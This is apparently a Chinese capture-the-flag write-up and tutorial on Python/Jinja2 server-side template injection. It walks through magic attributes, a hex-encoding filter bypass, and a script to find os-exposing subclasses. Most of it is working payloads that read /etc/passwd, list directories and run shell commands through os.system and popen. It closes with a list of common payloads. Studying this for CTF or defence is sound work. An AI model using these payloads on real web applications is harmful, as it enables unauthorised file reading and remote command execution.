python模塊注入-SSTI
- 打開頁面(看到python template injection應該是python模塊注入)
- 測試一下
http://111.200.241.244:61392/{{3*4}}
發現成功運行了結果(當然加法,除法都一樣,主要判斷能不能執行我們的代碼語句)
- 在這里我先介紹一下幾種常用於SSTI的魔術方法
__class__ 返回類型所屬的對象
__mro__ 返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__ 返回該對象所繼承的基類
// __base__和__mro__都是用來尋找基類的
__subclasses__ 每個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__ 類的初始化方法
__globals__ 對包含函數全局變量的字典的引用
__builtins__ builtins即是引用,Python程序一旦啟動,它就會在程序員所寫的代碼沒有運行之前就已經被加載到內存中了,而對於builtins卻不用導入,它在任何模塊都直接可見,所以可以直接調用引用的模塊
-
獲取基類的幾種方法
[].__class__.__base__ ''.__class__.__mro__[2] ().__class__.__base__ {}.__class__.__base__ request.__class__.__mro__[8] //針對jinjia2/flask為[9]適用 或者 [].__class__.__bases__[0] //其他的類似 **注意:如果._'這些被過濾了,可以用16進制編碼繞過!!!** 例如:{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}} 特別注意用16進制編碼之后里面要加"
-
獲取基本類的子類
[].__class__.__base__.__subclasses__()
- 我們嘗試獲取基類(發現一個為 ‘object’ 的類)
- 我們嘗試基類的子類
SSTI的主要目的就是從這么多子類中找出可以利用的類(一般是指讀寫文件的類)加以利用
那么我們能利用的類有哪些呢?
我們可以利用的方法有<type 'file'>等,(一般file在第40號)
-
我們嘗試讀取/etc/passwd文件
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
上面的例子看到我們用 file 讀取了/etc/passwd ,但是如果想要讀取目錄怎么辦
那么我們可以尋找萬能的os模塊(這里可以寫腳本遍歷尋找,也可以自己慢慢數,一般大概71號,或者可以Ctrl+F在網頁搜索 '<' ,因為是從0開始,所以大概第72個就是)
#!/usr/bin/env python
# encoding: utf-8
num = 0
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
print '-'
num+=1
//這是腳本
找到這個對應的編號就對了
-
然后我們直接調用就好,可以調用system函數,有了shell其他問題就解決了
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
當然,在某些情況下system函數會被過濾,這時候也可以采用os模塊的 listdir 函數來讀取目錄。(可以配合file來實現文件讀取)
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #讀取本級目錄
另外在某些不得以的情況下可以使用以下方式來讀取文件。(目前沒見過這種情況)
方法一:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #把 read() 改為 write() 就是寫文件
方法二:
存在的子模塊可以通過.index()方式來查詢
>>>''.__class__.__mro__[2].__subclasses__().index(file) 40 //查詢結果40
用file模塊來查詢
>>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
-
以下是非常常用的payload:
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read() ''.__class__.__mro__[2].__subclasses__() [71].__init__.__globals__['os'].system('ls') ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
文章引用:
https://www.cnblogs.com/wjw-zm/p/12741047.html